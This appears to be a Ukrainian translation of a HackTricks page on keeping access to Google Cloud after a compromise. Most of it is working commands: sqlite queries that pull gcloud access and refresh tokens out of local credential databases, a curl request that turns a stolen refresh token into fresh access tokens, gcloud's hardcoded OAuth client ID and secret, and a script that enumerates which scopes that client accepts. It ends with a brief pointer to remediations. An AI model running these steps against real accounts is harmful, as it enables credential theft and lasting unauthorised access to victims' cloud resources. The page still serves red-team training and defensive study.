GCP - Non-svc Persistance

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Це корисні техніки, коли ви якимось чином скомпрометували деякі GCP облікові дані або машину, що працює в середовищі GCP.

Token Hijacking

Authenticated User Tokens

Щоб отримати поточний токен користувача, ви можете виконати:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Перевірте на цій сторінці, як безпосередньо використовувати цей токен за допомогою gcloud:

Щоб отримати деталі для генерації нового access token, виконайте:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Також можна знайти refresh tokens у $HOME/.config/gcloud/application_default_credentials.json та у $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Щоб отримати новий оновлений access token за допомогою refresh token, client ID та client secret, виконайте:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Термін дії refresh tokens можна керувати в Admin > Security > Google Cloud session control, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався:

Auth flow

Процес аутентифікації при використанні чогось на кшталт gcloud auth login відкриє запит у браузері, і після прийняття всіх scopes браузер надішле запит, подібний до цього, на http порт, відкритий інструментом:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud буде використовувати стан і код з деяким жорстко закодованим client_id (32555940559.apps.googleusercontent.com) і client_secret (ZmssLNjJy2998hD4CTg2ejr2), щоб отримати остаточні дані токена оновлення.

Зверніть увагу, що зв'язок з localhost відбувається через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише один раз, тому це буде марно, легше просто прочитати токен оновлення з файлу.

OAuth Scopes

Ви можете знайти всі Google scopes на https://developers.google.com/identity/protocols/oauth2/scopes або отримати їх, виконавши:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Можна побачити, які області застосування, що gcloud використовує для автентифікації, може підтримувати за допомогою цього скрипта:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Після виконання було перевірено, що цей додаток підтримує ці області:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Цікаво бачити, як цей додаток підтримує drive scope, що може дозволити користувачу підвищити привілеї з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цим scope.

Перевірте, як зловживати цим тут.

Service Accounts

Так само, як і з автентифікованими користувачами, якщо вам вдасться скомпрометувати файл приватного ключа сервісного облікового запису, ви зможете отримати доступ до нього зазвичай стільки, скільки захочете. Однак, якщо ви вкрадете OAuth токен сервісного облікового запису, це може бути ще цікавіше, тому що, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо жертва видалить приватний api ключ, OAuth токен все одно буде дійсним до його закінчення терміну дії.

Metadata

Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете отримати доступ до сервісного облікового запису, прикріпленого до цієї машини, звернувшись до метаданих (зверніть увагу, що OAuth токени, до яких ви можете отримати доступ у цій точці, зазвичай обмежені scope).

Remediations

Деякі заходи щодо усунення цих технік пояснені в https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated